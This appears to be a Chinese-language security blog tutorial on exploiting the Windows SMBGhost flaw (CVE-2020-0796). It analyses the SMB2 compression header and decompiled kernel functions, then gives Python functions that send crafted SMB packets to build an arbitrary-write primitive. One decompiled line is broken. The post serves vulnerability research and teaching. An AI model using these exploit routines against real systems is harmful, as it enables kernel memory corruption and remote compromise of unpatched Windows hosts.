【經典回顧系列】 一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(二)

2021-12-29 且聽安全

接上文:


在上文總結CVE-2020-0796漏洞成因分析的基礎上,本文系統歸納分析總結漏洞利用的過程。



由於本地提權不是本文關注的重點,因此也就不作詳細分析了,這裡僅根據 ZecOps 的分析文章,梳理了其使用的一些關鍵技術和相關參考連結:


1. 實現任意地址寫

Write-What-Where CVE-2020-0796 Exploit

https://github.com/ZecOps/CVE-2020-0796-LPE-POC/blob/master/write_what_where.py

2. 基於win32kbase.sys函數指針複寫的提權技術(要求目標為GUI線程,可惜SMB不是)

Black Hat USA 2017 talk (Morten Schenk)

https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf

Exploiting a Windows 10 PagedPool off-by-one overflow (WCTF 2018)

https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/

3. 利用NtQuerySystemInformation實現進程token洩露

Easy Local Windows Kernel Exploitation (cesarcer)

https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf

Abusing Token Privileges For EoP

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

4. 利用向winlogon.exe注入DLL實現本地提權

Exploiting an Arbitrary Write to Escalate Privileges - Segfault

https://segfault.me/2019/05/24/exploiting-an-arbitrary-write-to-escalate-privileges/


正式開始前,需要先熟知SMB2使用的壓縮頭數據結構,根據:


https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

SMB2中的COMPRESSION_TRANSFORM_HEADER結構定義如下:


ProtocolId (4 bytes): 固定值0x424D53FC

OriginalCompressedSegmentSize (4 bytes): 非壓縮數據區的大小(字節數)

CompressionAlgorithm (2 bytes): 壓縮算法

Flags (2 bytes):  0x0000或者0x0001,用於指明是否支持壓縮鏈

Offset/Length (4 bytes): 根據Flags的值,如果Flags為1,則代表壓縮區的大小;如果Flags為0,則代表壓縮區的起始偏移

結合Srv2DecompressData函數,我們可以發現用戶可以完全控制OriginalCompressedSegmentSize和Offset,這個條件應當算是相當不錯了,但是距離實現真正的遠程代碼執行(RCE)還有很長的路要走。

首先我們來規劃一下實現RCE的技術路線(目前能想到的一些障礙),後面看進展情況,能實現多少算多少:

實現任意地址寫入:作為後續操作的基礎

實現任意地址讀取:繞過地址隨機化(ASLR)必備

突破DEP防護

截獲程序控制流(控制RIP)

突破控制流防護(CFG)

內核shellcode和用戶態shellcode

實現RCE


0x01 實現任意地址寫入


通過漏洞原理分析,我們知道目標程序中有多個可利用的漏洞點,而實現任意地址寫入的關鍵是要篡改內存拷貝過程中的目的地址和控制源數據。因此整個過程可以按照如下過程進行:


找到可以進行內存拷貝的位置

利用溢出實現目的地址的篡改

利用內存拷貝實現任意地址寫入

(1)尋找內存拷貝函數

我們非常幸運,漏洞函數中就有一處可用的內存拷貝,我們再仔細看一下srv2!Srv2DecompressData這個存在漏洞的函數:

NTSTATUS Srv2DecompressData(PHEADER Header, SIZE_T TotalSize) {    PSRVNET_BUFFER_HDR Alloc = SrvNetAllocateBuffer(                (ULONG)(Header->OriginalSize + Header->Offset), NULL);    ……        NTSTATUS Status = SmbCompressionDecompress(        Header->CompressionAlgorithm,        (PUCHAR)Header + sizeof(HEADER) + Header->Offset,        (ULONG)(TotalSize - sizeof(HEADER) - Header->Offset),        (PUCHAR)Alloc->UserBuffer + Header->Offset,        Header->OriginalSize,        &FinalCompressedSize);    if (Status < 0 ||         FinalCompressedSize != Header->OriginalSize) {        SrvNetFreeBuffer(Alloc);         return STATUS_BAD_DATA;    }    ……    if ( compressHeader.offsetOrLength ) {                memmove(Alloc->UserBuffer,                 (PUCHAR)Header + sizeof(HEADER),                 Header->Offset);    }    ……}


該函中比較明顯的溢出點有3處:


溢出點為整數溢出,如果兩數之和超過0xffffffff,將發生整數溢出,導致申請一個超小的內存空間

溢出點是SmbCompressionDecompress函數2個參數(第10和12行)存在緩衝區溢出,另外1個參數(第11行)存在整數溢出

溢出點比較明顯,是典型的緩衝區溢出

對於3處的內存拷貝過程,從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的SRVNET_BUFFER_HDR結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點[B]來任意改寫,也就是說我們能夠實現任意地址寫啦!

(2)目的地址篡改


現有的條件就是上述溢出點,我們需要找到有用的對象來溢出,並控制一些有用的欄位。其中3處溢出點如果可以利用,應該是最方便的。為此,我們可以先分析一下Alloc->UserBuffer指向的內存區域及其後續的對象。

現在我們需要詳細分析SrvNetAllocateBuffer所做的工作了,這裡我們繼續偷懶盜用 ZecOps 的逆向結果(做了一些小改動):

PSRVNET_BUFFER_HDR SrvNetAllocateBuffer(    SIZE_T AllocSize, PSRVNET_BUFFER_HDR SourceBuffer){        if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {        if (AllocSize > 0x1000100) {            return NULL;        }                Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);    } else {        int LookasideListIndex = 0;        if (AllocSize > 0x1100) {            LookasideListIndex = ;        }        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];        Result = ExpInterlockedPopEntrySList((PSLIST_HEADER)list.header);        if (!Result) {                        Result = list.some_alloc_func();         }    }    }


可見該函數在申請內存時使用了LookasideList,具體來說可以根據申請的大小分為4種情況:


當AllocSize > 0x1000100,申請失敗;

當AllocSize > 0x100100,使用`SrvNetAllocateBufferFromPool`直接申請;

當AllocSize > 0x1100,計算LookasideListIndex,並從SrvNetBufferLookasides數組中查找是否存在可用的內存塊,如果找到則直接使用該內存塊,否則就調用PplGenericAllocateFunction,最終是通過SrvNetAllocateBufferFromPool完成內存的申請;

當AllocSize<=0x1100,則LookasideListIndex=0,處理過程同3。

調試器中,該過程的調用棧如下:

1: kd> kc00 srvnet!SrvNetAllocateBufferFromPool01 srvnet!SrvNetBufferLookasideAllocate02 srvnet!PplGenericAllocateFunction03 srvnet!SrvNetAllocateBuffer04 srv2!Srv2DecompressData05 srv2!Srv2DecompressMessageAsync


其中srvnet!PplGenericAllocateFunction和srvnet!SrvNetBufferLookasideAllocate並沒有什麼實際的操作,所以我們直接看srvnet!SrvNetAllocateBufferFromPool,該函數的簡化版本如下:


PSRVNET_BUFFER_HDR SrvNetAllocateBufferFromPool(    int64 unused_size, uint64 size){    ...    sizeOfHeaderAndBuf = size + 0xE8;    sizeOfMDL = MmSizeOfMdl(0, size + 0xE8);    sizeOfMDLAligned = sizeOfMDL + 8;    sizeOfMDLs = 2 * sizeOfMDLAligned;    allocSize = sizeOfMDLs + sizeOfHeaderAndBuf;    ...    pNonPagedPoolAddr = (BYTE *)ExAllocatePoolWithTag(        (POOL_TYPE)512, allocSize, 0x3030534C);    ...    userBuffer = pNonPagedPoolAddr + 0x50;    pMDL1 = pNonPagedPoolAddr + 0x90;            hd = (PSRVNET_BUFFER_HDR)(pNonPagedPoolAddr + size + 0x50);    hd->UserBuffer = pNonPagedPoolAddr + 0x50;     hd->userSize = (DOWRD)size;                    hd->allocSize = (DOWRD)allocSize;              hd->pNonPagedPoolAddr = pNonPagedPoolAddr;     hd->pMDL1 = pMDL1;                                  pMDL1->userBufferAligned = userBuffer & 0xff...f000;    pMDL1->userBufferOffset = (DOWRD)userBuffer & 0xfff;    pMDL1->userSize = (DOWRD)size;                          ...    return hd;}


通過對該函數的分析,我們可以了解申請的內存塊的結構如下:


||   <--- ExAllocatePoolWithTag 的返回地址| unknown data  ||  0x50 bytes   |||   <--- Alloc->UserBuffer| user data     |        | 0x1100 bytes  |||   <--- 返回值 Alloc , SRVNET_BUFFER_HDR| Header struct |        +0x18 Alloc->UserBuffer| 0x90 bytes    |        +0x38 pMDL1||   <--- pMDL1| MDL1          |        +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes    |||   <--- pMDL2| MDL2          |        +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes    |||


回到srv2!Srv2DecompressData函數中,通過整數溢出1和溢出點2,看看我們能夠做什麼?


PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(        (ULONG)(Header->OriginalSize + Header->Offset), NULL);

利用1的整數溢出,我們可以使申請的內存長度小於實際的需求量,然後在SmbCompressionDecompress函數中,進行數據解壓和拷貝時發生緩衝區溢出,由於用戶數據區位於SRVNET_BUFFER_HDR的前面,因此我們能夠將任意長度的可控數據覆蓋SRVNET_BUFFER_HDR結構體,也就是說實現目的地址的篡改。測試一下:

def write_primitive_test1(ip, port):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)        uncompressed_data = b"\x41"*(0x1100 + 0x90)    compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, b"\x00")    sock.close()

(3)實現任意地址寫入

memmove(Alloc->UserBuffer,               (PUCHAR)Header + sizeof(HEADER),     Header->Offset);

從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點2來任意改寫。

假設我們想要將指定長度的數據寫入指定地址,我們可以將OriginalSize設置為`0xffffffff`,將Offset(代表非壓縮數據的長度)設置為0x100,準備壓縮數據的長度為0x1100+0x18+8(數據由0x1100的"A",0x18的"B",8位元組的目的地址0x4141414141414141組成),準備非壓縮數據的長度為0x100。

def write_primitive_test2(ip, port):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    data = b"\x90"*0x100     addr = 0x4141414141414141             uncompressed_data = b"\x41"*(0x1100 - len(data))        uncompressed_data += b"\x42"*0x18        uncompressed_data += struct.pack('<Q', addr)        compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, data)    sock.close()

發送的惡意數據包前段是非壓縮數據,後段是壓縮數據:

通過調試器看一下內存情況(紅色地址為SRVNET_BUFFER_HDR,藍色地址為Alloc->UserBuffer),在解壓縮數據包前,SRVNET_BUFFER_HDR未被破壞:

加壓縮數據包後,SRVNET_BUFFER_HDR已被破壞,Alloc->UserBuffer被改寫為0x4141414141414141:

繼續執行至memcpy,確實按照我們的預期準備向異常地址寫入我們指定的內容:

至此我們成功獲得了任意地址寫入的能力,構建寫原語:

def write_primitive(ip, port, data, addr):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    uncompressed_data = b"\x41"*(0x1100 - len(data))    uncompressed_data += b"\x00"*0x18    uncompressed_data += struct.pack('<Q', addr)    compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, data)    sock.close()

至此,我們分析了實現任意地址寫入,下一篇我們將繼續深入分析任意地址讀。

https://github.com/eerykitty/CVE-2020-0796-PoC

https://github.com/chompie1337/SMBGhost_RCE_PoC

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/#

https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html

由於傳播、利用此文檔提供的信息而造成任何直接或間接的後果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。



點關注,不迷路!

相關焦點

  • SMBGhost:微軟SMBv3遠程代碼執行漏洞分析(CVE-2020-0796)
    微軟發布了針對115個CVE漏洞的補丁更新,其中最引人關注的是一個針對Smb伺服器/客戶端的一個內存破壞漏洞,CVE編號為CVE-2020-0796,成功利用此漏洞的攻擊者可以在目標SMB伺服器或SMB客戶端上執行任意代碼,此漏洞屬於嚴重危害的零接觸蠕蟲級遠程代碼執行漏洞,此漏洞也被稱為 SMBGhost或「Coronablue。
  • 高清還原漏洞——被微軟發布又秒刪的遠程預執行代碼漏洞CVE-2020...
    概述  ◆2020年3月10日是微軟補丁日,安全社區注意到Microsoft發布並立即刪除了有關CVE-2020-0796的信息;  ◆2020年3月11日早上,Microsoft發布了可糾正SMBv3協議如何處理特製請求的修補程序;  ◆2020年03月
  • Office系列漏洞經典案例分析與利用
    四維漏洞播報1、漏洞簡介CVE-2017-11882屬於緩衝區溢出類型漏洞,產生漏洞原因於EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font
  • Edge CVE-2017-0234 漏洞復現與利用
    此外,這個漏洞還有一個特點,JIT中數組越界產生的異常會被chakra自己處理,並不會引發crash,理論上這對漏洞利用的穩定性會有所幫助。windows環境下的利用相比linux會複雜一些,首要目標大多是先嘗試達成任意地址讀寫,再往後一般也就只是時間問題了。
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    ,並且在10年中最明顯的變化2020年的cve數量已經超過2010年數量的5倍多。 我們以網際網路中2020年10月至11月監測到的全網資產數量(不包含歷史數據和重複數據)對比監測到的漏洞數量計算整體網際網路的漏洞比例為15%。
  • 滲透測試學習筆記之案例一
    0x01 案列分析實驗環境:信息收集:掃描存在smb服務的主機:# nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt# cat smb_service.txt | grep -i windows | cut -d" " -f210.11.1.510.11.1.3110.11.1.4910.11.1.5010.11.1.7310.11.1.12810.11.1.14510.11.1.20210.11.1.21810.11.1.22010.11.1.22310.11.1.22710.11.1.22910.11.1.230
  • 北洋三部曲之《一步之遙》經典回顧:很多東西,一步之遙就是永遠
    一、劇情簡介電影《一步之遙》改編自北洋奇案「閻瑞生案」,講述的是1920年的上海,花國大選如火如荼,最終歸屬撲朔迷離。而他的老朋友警察局長象飛田(葛優 飾)奉命調查,所有人的命運都翻天覆地的變化……二、影片評價正面評價:雖然該影片改編自北洋奇案「閻瑞生案」,電影《一步之遙》已經完全看不到史料記載裡「謀財害命」的瑣屑,電影中登場的無論是花國總統,還是軍閥之女,各個有情有義,光彩照人。
  • 手把手教你入門內網滲透之一
    所以進一步的信息搜集可以對這個網段掃描。通過net user更是可以查看有哪些用戶存在,為下一步的域滲透和提權做準備。通過systeminfo查看本機信息,獲取哪些補丁沒有打,為接下來提權做準備。\Vulmap.ps1直接執行腳本Vulmap.ps1,可以自動查詢出本機可以利用的漏洞。.\KBCollect.ps1 .\cve-check.py -u .\cve-check.py -U .
  • SMB協議漏洞分析
    簡介最近看了一些關於SMB的分析文章,準備總結一下,主要介紹SMB協議在前段時間出的CVE-2020-0796相關漏洞。下面簡單介紹一下SMB的相關知識。之前爆出的SMB漏洞主要是在SMB2之後的版本,SMB協議版本2和3,它們支持在機器之間共享文件和列印資源,並擴展了SMB1。Windows上對應的模塊是 srv2.sysSMB2數據包格式與SMB1完全不同。
  • Python遠程代碼執行漏洞(CVE-2021-3177)
    2021年02月19日,Python官方發布安全公告,公開了python中的一個RCE漏洞(CVE-2021-3177),其CVSSv3評分為9.8。 Python ctypes模塊是Python內建的用於調用動態連結庫函數的功能模塊。
  • QQ坦白說系統漏洞一步知道對方是誰 教你們如何花式秒殺他們
    QQ坦白說系統漏洞一步知道對方是誰 教你們如何花式秒殺他們時間:2018-04-07 23:17   來源:今日頭條   責任編輯:毛青青 川北在線核心提示:原標題:QQ坦白說系統漏洞一步知道對方是誰 教你們如何花式秒殺他們 被qq坦白說瘋狂調戲然而猜不到對面是誰?so easy,教你們如何花式秒殺他們。
  • IE漏洞調試之CVE-2013-3893
    前言Windows平臺的漏洞挖掘和安全研究中,IE始終是繞不開的話題。
  • CVE-Flow:1999-2020年CVE數據分析
    言歸正傳,回到機器學習和漏洞數據。先有數據後有天,如圖是first.org截止到2016年3月17日,匯總的全球漏洞庫,經過我的二次驗證,發現除了最後一行的烏雲不可用之外,其餘漏洞庫均在正常維護、更新和運營。
  • 網絡管理員必用的軟體之一,NMAP高級使用方法之script腳本
    在metasploi調用nmap的插件—script=smb-check-vulns可以掃描出目標上的危險漏洞,如MS08-67(windows Server 服務RPC請求緩衝區溢出漏洞),說明用nmap的腳本可以掃出目標的一些已知漏洞,包括緩衝區溢出漏洞。
  • CVE-2020-0423 Android內核提權漏洞分析
    本文為看雪論壇精華文章看雪論壇作者ID:LowRebSwrd2020年10月公布了bulletin,這是最近新的提權漏洞
  • CS 4.0 SMB Beacon
    謝謝 @undefined 師傅教我。昨天一個朋友問我 SMB Beacon 怎麼上線,我想在網上找篇文章給他沒找到,於是自己寫一篇。這裡注意一下這裡的報錯 error 5:如果在嘗試去連接到一個 Beacon 之後得到一個 error 5(權限拒絕),可以嘗試這樣解決:竊取域用戶的令牌或使用 make_token DOMAIN\user password 來使用對於目標有效的憑據來填充你的當前令牌
  • 利用 Exchange SSRF 漏洞和 NTLM 中繼淪陷域控
    上文中的漏洞利用思路按照我的理解可以匯總成一句話就是:在Exchange 在域內具有高權限的前提下條件下,利用 Exchange 的跨站請求偽造漏洞進行 NTLM 中繼攻擊,修改域 ACL 使普通用戶具有域管理員同等級別的權限這篇文章的利用手法和其他網上很多方法不同的點在於,對 SSRF 漏洞進一步利用達到了拿到域控的目的,
  • CVE-2017-7187漏洞分析
    接著 review 一下代碼:因此觸發這個漏洞,有2個步驟:1、通過ioctl()函數,使用SG_NEXT_CMD_LEN命令,並傳遞一個 arg,值大於252 ;2、再調用 writev()/write()函數,傳遞數據,數據大小,大於252。
  • CVE-2019-10392:Jenkins Git client插件RCE復現
    0x01 漏洞概述Git客戶端插件中的系統命令執行漏洞,這是以允許具有Job/Configure權限的攻擊者在Jenkins主伺服器上執行任意系統命令作為Jenkins進程正在運行的OS用戶的方式實現命令執行。